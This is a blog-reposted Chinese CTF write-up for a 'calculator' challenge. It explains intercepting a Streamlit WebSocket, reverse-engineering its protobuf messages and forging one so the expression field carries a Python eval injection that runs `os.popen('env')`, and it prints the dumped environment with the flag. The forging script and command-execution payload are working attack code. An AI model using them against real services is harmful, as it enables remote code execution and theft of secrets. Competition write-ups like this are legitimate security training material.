当前位置: 首页 > news >正文

2025京麒CTF挑战赛 计算器 WriteUP


师傅们好,我是A5rZ。中专二年级学生,我从初二开始接触网络安全,主方向WEB,次方向PWN/RE。
本人可高强度参赛,目前无队伍,如果有队伍需要成员并且愿意给我一个机会的话可以联系我。
Email: a5rz_work@163.com
QQ: 3843797062


请添加图片描述

计算器 – protobuf伪造

题目要求输入密码来解锁计算器自定义表达式功能,默认为1+1

题目似乎建立了 WebSocket连接并在其中发送加密内容

以下是发送test后完整的交换流程

->

Z󁊀ց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+1
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"

<-

"å
¿
r
$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd*$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd2$32a464aa-d221-4563-a2b1-3e0c513e506d
1.45.13.9.22.final.0linux"2$75c23f59-1dbc-431b-a222-5970c921a738$8fe9a3c0-3a25-48ae-a19e-88b7942a413capp"app.py2(B"3f41e546893dc64b71aaacad12cad815J 3f41e546893dc64b71aaacad12cad815Z 3f41e546893dc64b71aaacad12cad815

<-

J

<-

 41bb1aaeaecdc16c9ac61f7ac3da9068"" 3f41e546893dc64b71aaacad12cad815j
CTF Calculator

<-

 6b97c51dfad1ea1f44d398a94d9109d8&3f41e546893dc64b71aaacad12cad815*ú
h1🔢 CTF Calculator

<-

 322921a5318b81208dcc2b0beefde299&3f41e546893dc64b71aaacad12cad815*jhÂe
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd$Enter password to unlock calculator:

<-

 08ca826ea49e54f0790b21e981b61727&" 3f41e546893dc64b71aaacad12cad815*FDÂA
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr
Expression1+1`j

<-

 d3aa0dd3e7bab19fcdb5dc0a2040db01&3f41e546893dc64b71aaacad12cad815*;9ò6
.🔒 Incorrect password. Calculator is locked."

<-

 4e31937ab2aae2e18ea8a957544ca41c&3f41e546893dc64b71aaacad12cad815*GEšB
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None	Calculate:	secondary

<-

 9934c0351b91b25a216083f28722cd8a&3f41e546893dc64b71aaacad12cad815*òResult: 2"

<-

e7d7c16caee1f85e6de8c6fb0b6e04f6"" 3f41e546893dc64b71aaacad12cad815’Ø
E
set_page_configpage_titlestrlen:14
layoutstrlen:8 ×
!
title
bodystrlen:16( 
Ntext_input
labelstrlen:36(
typestrlen:8
keystrlen:3 Ö
ktext_input
labelstrlen:10(
valuestrlen:3
disabledboolval:True
keystrlen:4 Ž
#
warning
bodystrlen:43( ·
"
button
labelstrlen:9( Ö
"
success
bodystrlen:9( ®—§*server.address*server.port:defaultBlinuxJ('UTC', 'UTC')P

<-

0

<-

J

->

{"messageType":"hello","broadcasts":{"remote-settings/monitor_changes":"\"1745074634037\""},"use_webpush":true}

->

{"messageType":"hello","uaid":"a33e0440188a4ef38ae80f54f99f6976","status":200,"use_webpush":true,"broadcasts":{"remote-settings/monitor_changes":"\"1748026399328\""}}

3f41e546893dc64b71aaacad12cad815多次出现,经过解密为app.py

MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊

尝试无视密码直接篡改表达式

Z󁊀ց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+2
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"

成功,返回了1+2的结果

3f41e546893dc64b71aaacad12cad815*òResult: 3"

经过测试发现表达式似乎最大为3个字符,大于即报错

Z󁊀ց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+10
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
DecodeError)Error parsing message with type 'BackMsg'™File "/usr/local/lib/python3.9/site-packages/streamlit/web/server/browser_websocket_handler.py", line 216, in on_messagemsg.ParseFromString(payload)2

发现是反序列化时出错,尝试伪造protobuf篡改表达式1+1

【python】【protobuf】逆向还原protobuf结构_python 解析proto文件-CSDN博客
good.tools · Protobuf Decoder

将第一条WebSocket消息以hex复制出来

5A 83 02 0A 00 12 9A 01 0A 35 0A 29 24 24 49 44 2D 38 38 39 65 32 64 30 65 63 62 63 62 64 34 32 63 36 64 32 34 66 63 66 66 63 65 65 61 37 65 65 32 2D 70 77 64 32 08 70 61 73 73 77 6F 72 64 0A 31 0A 2A 24 24 49 44 2D 38 62 35 37 31 38 63 36 37 62 31 63 62 38 31 66 61 65 61 31 35 35 31 66 31 62 65 65 36 30 65 31 2D 65 78 70 72 32 03 31 2B 31 0A 2E 0A 2A 24 24 49 44 2D 66 35 33 65 35 33 30 38 37 33 33 33 65 66 32 62 34 38 61 33 34 36 65 65 65 36 62 66 33 31 63 63 2D 4E 6F 6E 65 10 01 1A 20 33 66 34 31 65 35 34 36 38 39 33 64 63 36 34 62 37 31 61 61 61 63 61 64 31 32 63 61 64 38 31 35 22 00 2A 00 42 3C 0A 09 45 74 63 2F 47 4D 54 2D 38 10 A0 FC FF FF FF FF FF FF FF 01 1A 05 7A 68 2D 43 4E 22 1B 68 74 74 70 3A 2F 2F 33 39 2E 31 30 36 2E 31 36 2E 32 30 34 3A 31 32 34 33 37 2F 28 00

使用CyberChef解码

{"11": {"1": {},"2": {"1": [{"1": "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd","6": "password"},{"1": "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr","6": "1+1"},{"1": "$$ID-f53e53087333ef2b48a346eee6bf31cc-None","2": 1}]},"3": "3f41e546893dc64b71aaacad12cad815","4": {},"5": {},"8": {"1": "Etc/GMT-8","2": 18446744073709552000,"3": "zh-CN","4": "http://39.106.16.204:12437/","5": 0}}
}

使用人工智能还原.proto结构体

syntax = "proto3";message Root {Message11 field11 = 11;  // 顶层字段,标签为 11
}message Message11 {Field2 field2 = 2;       // 对应 JSON 中的键 "2",标签为 2string field3 = 3;       // 对应 JSON 中的键 "3",标签为 3Field8 field8 = 8;       // 对应 JSON 中的键 "8",标签为 8
}message Field2 {repeated Entry entries = 1;  // 数组,标签为 1
}message Entry {string id = 1;          // 对应 "1",标签为 1oneof value {string value_str = 6; // 字符串值,标签为 6int32 value_int = 2;  // 整数值,标签为 2}
}message Field8 {string timezone = 1;     // 标签为 1int64 timestamp = 2;     // 修正为 int64(原数据是负数)string locale = 3;       // 标签为 3string url = 4;          // 标签为 4int32 some_flag = 5;     // 标签为 5
}

编译文件为依赖代码

Releases · protocolbuffers/protobuf

./Protocol_Buffers/bin/protoc.exe --python_out=. ../../Root.proto
# -*- coding: utf-8 -*-  
# Generated by the protocol buffer compiler.  DO NOT EDIT!  
# NO CHECKED-IN PROTOBUF GENCODE  
# source: Root.proto  
# Protobuf Python Version: 6.31.0  
"""Generated protocol buffer code."""  
from google.protobuf import descriptor as _descriptor  
from google.protobuf import descriptor_pool as _descriptor_pool  
from google.protobuf import runtime_version as _runtime_version  
from google.protobuf import symbol_database as _symbol_database  
from google.protobuf.internal import builder as _builder  
_runtime_version.ValidateProtobufRuntimeVersion(  _runtime_version.Domain.PUBLIC,  6,  31,  0,  '',  'Root.proto'  
)  
# @@protoc_insertion_point(imports)  _sym_db = _symbol_database.Default()  DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\nRoot.proto\"#\n\x04Root\x12\x1b\n\x07\x66ield11\x18\x0b \x01(\x0b\x32\n.Message11\"M\n\tMessage11\x12\x17\n\x06\x66ield2\x18\x02 \x01(\x0b\x32\x07.Field2\x12\x0e\n\x06\x66ield3\x18\x03 \x01(\t\x12\x17\n\x06\x66ield8\x18\x08 \x01(\x0b\x32\x07.Field8\"!\n\x06\x46ield2\x12\x17\n\x07\x65ntries\x18\x01 \x03(\x0b\x32\x06.Entry\"F\n\x05\x45ntry\x12\n\n\x02id\x18\x01 \x01(\t\x12\x13\n\tvalue_str\x18\x06 \x01(\tH\x00\x12\x13\n\tvalue_int\x18\x02 \x01(\x05H\x00\x42\x07\n\x05value\"]\n\x06\x46ield8\x12\x10\n\x08timezone\x18\x01 \x01(\t\x12\x11\n\ttimestamp\x18\x02 \x01(\x03\x12\x0e\n\x06locale\x18\x03 \x01(\t\x12\x0b\n\x03url\x18\x04 \x01(\t\x12\x11\n\tsome_flag\x18\x05 \x01(\x05\x62\x06proto3')  _globals = globals()  
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)  
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'Root_pb2', _globals)  
if not _descriptor._USE_C_DESCRIPTORS:  DESCRIPTOR._loaded_options = None  _globals['_ROOT']._serialized_start=14  _globals['_ROOT']._serialized_end=49  _globals['_MESSAGE11']._serialized_start=51  _globals['_MESSAGE11']._serialized_end=128  _globals['_FIELD2']._serialized_start=130  _globals['_FIELD2']._serialized_end=163  _globals['_ENTRY']._serialized_start=165  _globals['_ENTRY']._serialized_end=235  _globals['_FIELD8']._serialized_start=237  _globals['_FIELD8']._serialized_end=330  
# @@protoc_insertion_point(module_scope)

根据报错猜测后端为eval(input()),语言为python

书写序列化内容生成器

from Root_pb2 import Root, Message11, Field2, Entry, Field8  # 初始化根对象  
root = Root()  # 自动创建 root.field11 的默认实例  # 无需 root.field11 = Message11(),直接操作 root.field11 的字段  
root.field11.field3 = "3f41e546893dc64b71aaacad12cad815"  # 直接初始化 field8root.field11.field8.timezone = "Etc/GMT-8"  
root.field11.field8.timestamp = -57600  
root.field11.field8.locale = "zh-CN"  
root.field11.field8.url = "http://39.106.16.204:12437/"  
root.field11.field8.some_flag = 0  # 构建 Field2 的条目列表  
entries = []  # 添加条目(无需修改)  
entry_pwd = Entry()  
entry_pwd.id = "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd"  
entry_pwd.value_str = "password"  
entries.append(entry_pwd)  entry_expr = Entry()  
entry_expr.id = "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr"  
entry_expr.value_str = "'hackd by A5rz->'+__import__('os').popen('env').read()"  
entries.append(entry_expr)  entry_none = Entry()  
entry_none.id = "$$ID-f53e53087333ef2b48a346eee6bf31cc-None"  
entry_none.value_int = 1  
entries.append(entry_none)  # 直接扩展 entries 列表  
root.field11.field2.entries.extend(entries)  # 序列化为字节  
proto_data = root.SerializeToString()  # 保存数据  
with open("modified_data.bin", "wb") as f:  f.write(proto_data)

在burp中选择从文件中粘贴,修改WebSocket对话内容

从环境变量中获得flag

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256Result: hackd by A5rz->KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://192.168.0.1:443
MPLBACKEND=Agg
HOSTNAME=t68310670004748851-comp-my-calc-76737187114157123xhzzt
HOME=/home/ctfuser
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=8c136d199d3637a1fce98a16adc809c1d83c922d02d41f3614b34f8b6e7d38ec
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
LANG=C.UTF-8
MAPBOX_API_KEY=
PYTHON_VERSION=3.9.22
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443
KUBERNETES_SERVICE_HOST=192.168.0.1
PWD=/home/ctfuser/app
FLAG=flag{2e0c9bb2-ccb3-4fda-9c09-eb92fc67e6f2}"
-----BEGIN PGP SIGNATURE-----
Version: OpenPGP.js v4.10.10
Comment: https://openpgpjs.orgwsBzBAEBCAAGBQJoMZqIACEJEDaKOULpRclKFiEEQJMQj+ftxPUcmoFgNoo5
QulFyUqO1ggAliFLRQKejhKs1V8ZgTRkHkTTpl4coyWO3KWwoGQ4wuz2GEPQ
79+fDsR5jcuPHswtlN2z08VKS3i+bWHMn9/72rK0mxRSP9gOHDwzLaWz/qXg
kacZe/M05f5q+8NQzpBPxljYm7G5SZFCGOAOW3QRCHUo7xVqOhJqB0i+74iM
FUwgE3TEQx3/r3yQsCXKhuqmrjbVaaQhXa7Y6Y/HMDX+PjjincUfUJ3+moR4
HaIRv6xg404+XU/SpoolWGAFC5vZXyw866BitzJ0l8pZYTSiA94nBPIfyV8C
Y0p0IV446XsPktYALZbVO57OL33BIDjsZ952YGgBHFLBKB8BVOwhaA==
=3H/j
-----END PGP SIGNATURE-----

文章转载请携带完整签名

相关文章:

  • OpenHarmony平台驱动使用(一),ADC
  • 《算法导论(第4版)》阅读笔记:p1178-p1212
  • Go语言中常量的命名规则详解
  • OPENEULER搭建私有云存储服务器
  • 【C++】string的模拟实现
  • QTableWidget的函数和信号介绍
  • java基础知识回顾3(可用于Java基础速通)考前,面试前均可用!
  • pinia状态管理使用
  • 使用CRTP实现单例
  • 22、web场景-web开发简介
  • 弦序参量(SOP)
  • 详解Innodb一次更新事物的执行过程
  • 【概率论基本概念02】最大似然性
  • 【MySQL成神之路】MySQL函数总结
  • 【C语言干货】free细节
  • RocketMQ 索引文件(IndexFile)详解:结构、原理与源码剖析
  • 用 Python 实现了哪些办公自动化
  • 力扣第157场双周赛
  • 湖北理元理律师事务所债务优化方案:让还款与生活平衡的艺术
  • 基于PyTorch的残差网络图像分类实现指南
  • 网站内容与标题的区别/百度一下你就知道移动首页
  • 长春网长春网站建设站建设/上海关键词优化报价
  • 网站好坏标准/外贸快车
  • 要想浏览国外网站 应该怎么做/武汉网络推广网络营销
  • 组织建设是什么意思/seo搜索引擎优化人才
  • 统计局网站建设/微信广告推广如何收费